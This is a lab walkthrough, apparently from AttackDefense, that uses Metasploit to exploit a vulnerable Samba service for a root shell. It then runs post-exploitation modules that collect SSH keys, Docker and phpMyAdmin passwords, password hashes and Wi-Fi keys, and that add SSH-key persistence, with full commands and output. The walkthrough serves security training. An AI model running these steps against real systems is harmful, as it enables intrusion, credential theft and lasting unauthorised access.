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Name	Post Exploitation Lab II
URL	https://www.attackdefense.com/challengedetails?cid=195
Туре	Metasploit: Post Modules

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

In this lab, we are going to run following post exploitation modules on the target machine which is running a vulnerable file sharing service.

- post/multi/gather/ssh_creds
- post/multi/gather/docker_creds
- 3. post/linux/gather/hashdump
- 4. post/linux/gather/ecryptfs_creds
- 5. post/linux/gather/enum_psk
- 6. post/linux/gather/enum xchat
- 7. post/linux/gather/phpmyadmin credsteal
- 8. post/linux/gather/pptpd_chap_secrets
- 9. post/linux/manage/sshkey_persistence

Step 1: Run an Nmap scan against the target IP.

Command: nmap -sS -sV -p- 192.91.98.3

```
root@attackdefense:~# nmap -sS -sV -p- 192.91.98.3

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-06 09:06 UTC

Nmap scan report for ysq8sfyi9uxofxmqho0k8blqe.temp-network_a-91-98 (192.91.98.3)

Host is up (0.000012s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

MAC Address: 02:42:C0:5B:62:03 (Unknown)

Service Info: Host: VICTIM-1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

root@attackdefense:~#
```

Command:

use exploit/linux/samba/is_known_pipename set RHOST 192.91.98.3 check exploit -z

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST 192.91.98.3
RHOST => 192.91.98.3
msf5 exploit(linux/samba/is_known_pipename) > check

[+] 192.91.98.3:445 - Samba version 4.1.17 found with writeable share 'exploitable'
[*] 192.91.98.3:445 The target appears to be vulnerable.
msf5 exploit(linux/samba/is_known_pipename) >
```

```
msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/
                      ba/is_known_pipename) > set RHOST 192.91.98.3
RHOST => 192.91.98.3
msf5 exploit(linux/samba/is_known_pipename) > exploit
[*] 192.91.98.3:445 - Using location \\192.91.98.3\exploitable\tmp for the path
 *] 192.91.98.3:445 - Retrieving the remote path of the share 'exploitable'
[*] 192.91.98.3:445 - Share 'exploitable' has server-side path '/
 [*] 192.91.98.3:445 - Uploaded payload to \\192.91.98.3\exploitable\tmp\USVisxqH.so
[*] 192.91.98.3:445 - Loading the payload from server-side path /tmp/USVisxqH.so using \\PIPE\/tmp/USVisxqH.so...
    192.91.98.3:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.91.98.3:445 - Loading the payload from server-side path /tmp/USVisxqH.so using /tmp/USVisxqH.so...
[+] 192.91.98.3:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.91.98.2:40161 -> 192.91.98.3:445) at 2018-11-06 09:07:48 +0000
whoami
root
```

Module 1: post/multi/gather/ssh_creds

Link: https://www.rapid7.com/db/modules/post/multi/gather/ssh_creds

Command: use post/multi/gather/ssh_creds set SESSION 1 run

```
msf5 > use post/multi/gather/ssh_creds
msf5 post(multi/
                 ather/ssh_creds) > set SESSION 1
SESSION => 1
msf5 post(multi/gather/ssh_creds) > run
[*] Finding .ssh directories
[*] Looting 1 directories
[+] Downloaded /root/.ssh/authorized_keys -> /root/.msf4/loot/20181106090843_default_192.91.98.3_ssh.authorized_k_363489.txt
   Could not load SSH Key: Neither PUB key nor PRIV key
[+] Downloaded /root/.ssh/id_rsa -> /root/.msf4/loot/20181106090843_default_192.91.98.3_ssh.id_rsa_856549.txt
   | Could not load SSH Key: Neither PUB key nor PRIV key
.
|+] Downloaded /root/.ssh/id_rsa.pub -> /root/.msf4/loot/20181106090843_default_192.91.98.3_ssh.id_rsa.pub_399961.txt
   | Could not load SSH Key: Neither PUB key nor PRIV key
[+] Downloaded /root/.ssh/known_hosts -> /root/.msf4/loot/20181106090843_default_192.91.98.3_ssh.known_hosts_968639.txt
  Could not load SSH Key: Neither PUB key nor PRIV key
[*] Post module execution completed
msf5 post(multi/gather/ssh_creds) >
```

Module 2: post/multi/gather/docker_creds

Link: https://www.rapid7.com/db/modules/post/multi/gather/docker_creds

Command: use post/multi/gather/docker_creds set SESSION 1 run

```
msf5 > use post/multi/gather/docker_creds
msf5 post(multi/gather/docker_creds) > set SESSION 1
SESSION => 1
msf5 post(multi/gather/docker_creds) > run

[*] Finding .docker directories
[*] Looting 1 directories
[*] Downloading /root/.docker/config.json -> config.json
[+] Found attackdefence:Str0ngPassword@123
[+] Saved credentials
[*] Post module execution completed
msf5 post(multi/gather/docker_creds) >
```

Module 3: post/linux/gather/hashdump

Link: https://www.rapid7.com/db/modules/post/linux/gather/hashdump

Command: use post/linux/gather/hashdump

set SESSION 1 set VERBOSE true run

```
msf5 > use post/linux/gather/hashdump
msf5 post(linux/gather/hashdump) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/hashdump) > set VERBOSE true
VERBOSE => true
msf5 post(linux/gather/hashdump) > run

[!] SESSION may not be compatible with this module.
[+] Shadow saved in: /root/.msf4/loot/20181106091501_default_192.91.98.3_linux.shadow_004243.txt
[+] passwd saved in: /root/.msf4/loot/20181106091501_default_192.91.98.3_linux.passwd_333299.txt
[+] Unshadowed Password File: /root/.msf4/loot/20181106091501_default_192.91.98.3_linux.hashes_839850.txt
[*] Post module execution completed
msf5 post(linux/gather/hashdump) >
```

Module 4: post/linux/gather/ecryptfs_creds

Link: https://www.rapid7.com/db/modules/post/linux/gather/ecryptfs_creds

Command: use post/linux/gather/ecryptfs_creds set SESSION 1

run

```
msf5 > use post/linux/gather/ecryptfs_creds
msf5 post(linux/gather/ecryptfs_creds) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/ecryptfs_creds) > run

[!] SESSION may not be compatible with this module.
[*] Finding .ecryptfs directories
[*] Looting 1 directories
[*] Downloading /root/.ecryptfs/sig-cache.txt -> sig-cache.txt
[+] File stored in: /root/.msf4/loot/20181106091633_default_192.91.98.3_ecryptfs.sigcac_687867.txt
[*] Post module execution completed
msf5 post(linux/gather/ecryptfs_creds) >
msf5 post(linux/gather/ecryptfs_creds) > cat /root/.msf4/loot/20181106091633_default_192.91.98.3_ecryptfs.sigcac_687867.txt
[*] exec: cat /root/.msf4/loot/20181106091633_default_192.91.98.3_ecryptfs.sigcac_687867.txt
3b32b64d6121597a
msf5 post(linux/gather/ecryptfs_creds) >
```

Module 5: post/linux/gather/enum_psk

Link: https://www.rapid7.com/db/modules/post/linux/gather/enum_psk

Command: use post/linux/gather/enum_psk set SESSION 1

run

```
msf5 > use post/linux/gather/enum_psk
msf5 post(linux/gather/enum_psk) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_psk) > run
[!] SESSION may not be compatible with this module.
[*] Reading file /etc/NetworkManager/system-connections/TopSecret_Network
[*] Reading file /etc/NetworkManager/system-connections/Wi-Fi connection 1
[*] Reading file /etc/NetworkManager/system-connections/Wi-Fi connection 2
802-11-wireless-security
AccessPoint-Name
 Wi-Fi connection 1 AttackDefence_WiFi_123321
 Wi-Fi connection 2 Free_Internet
[+] Secrets stored in: /root/.msf4/loot/20181106091738_default_192.91.98.3_linux.psk.creds_423288.txt
[*] Done
[*] Post module execution completed
msf5 post(linux/gather/enum_psk) >
```

Module 6: post/linux/gather/enum_xchat

Link: https://www.rapid7.com/db/modules/post/linux/gather/enum_xchat

Command:

use post/linux/gather/enum_xchat set SESSION 1 run

```
msf5 > use post/linux/gather/enum_xchat
msf5 post(linux/gather/enum_xchat) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/enum_xchat) > run

[!] SESSION may not be compatible with this module.
[+] 192.91.98.3:445 - servlist_.conf saved as /root/.msf4/loot/20181106091817_default_192.91.98.3_xchat.config_071146.txt
[+] 192.91.98.3:445 - xchat.conf saved as /root/.msf4/loot/20181106091817_default_192.91.98.3_xchat.config_409535.txt
[*] Post module execution completed
msf5 post(linux/gather/enum_xchat) >
msf5 post(linux/gather/enum_xchat) >
```

Module 7: post/linux/gather/phpmyadmin_credsteal

Link: https://www.rapid7.com/db/modules/post/linux/gather/phpmyadmin_credsteal

Command:

use post/linux/gather/phpmyadmin_credsteal set SESSION 1

```
msf5 > use post/linux/gather/phpmyadmin_credsteal
msf5 post(linux/gather/phpmyadmin_credsteal) > set SESSION 1
SESSION => 1
msf5 post(linux/gather/phpmyadmin_credsteal) > run

[!] SESSION may not be compatible with this module.

PhpMyAdmin Creds Stealer!

[+] PhpMyAdmin config found!
[+] Extracting creds
[+] User: root
[+] Password: NOTE@syTOGuess!!
[*] Storing credentials...
[+] Config file located at /root/.msf4/loot/20181106091913_default_192.91.98.3_phpmyadmin_conf_499072.txt
[*] Post module execution completed
msf5 post(linux/gather/phpmyadmin_credsteal) >
```

Module 8: post/linux/gather/pptpd_chap_secrets

Link: https://www.rapid7.com/db/modules/post/linux/gather/pptpd_chap_secrets

Command:

use post/linux/gather/pptpd_chap_secrets set SESSION 1 run

Module 9: post/linux/manage/sshkey_persistence

Link: https://www.rapid7.com/db/modules/post/linux/manage/sshkey_persistence

Command:

use post/linux/manage/sshkey_persistence set SESSION 1 run

```
msf5 > use post/linux/manage/sshkey_persistence
\underline{{\tt msf5}} \hspace{0.1in} {\tt post(linux/manage/sshkey\_persistence)} \hspace{0.1in} {\tt > set} \hspace{0.1in} {\tt SESSION} \hspace{0.1in} 1
SESSION => 1
msf5 post(linux/manage/sshkey_persistence) > run
[!] SESSION may not be compatible with this module.
[*] Checking SSH Permissions
 [*] Authorized Keys File: .ssh/authorized_keys
 [*] Finding .ssh directories
[*] Adding key to /root/.ssh/authorized_keys
[+] Key Added
 [+] Storing new private key as /root/.msf4/loot/20181106092228_default_192.91.98.3_id_rsa_151727.txt
[*] Post module execution completed
                                            nce) > cat /root/.msf4/loot/20181106092228_default_192.91.98.3_id_rsa_151727.txt
msf5 post(linux/manage/sshkey_persiste
[*] exec: cat /root/.msf4/loot/20181106092228_default_192.91.98.3_id_rsa_151727.txt
 ----BEGIN RSA PRIVATE KEY----
MIIEowIBAAKCAQEAzo39oDBdz6rU4vWyv9k1yLL8iJD07ovyUkZeVNW8S1GnzuOK
MdxJikcYA7W4fY7XJ5+aqMiNmgkmKjc2sE+6ue6qUw7ithgaOWB40HWEwHXc1d3I
```

References

1. Post Exploitation (https://metasploit.help.rapid7.com/docs/metasploit-basics#section-post-exploitation-module)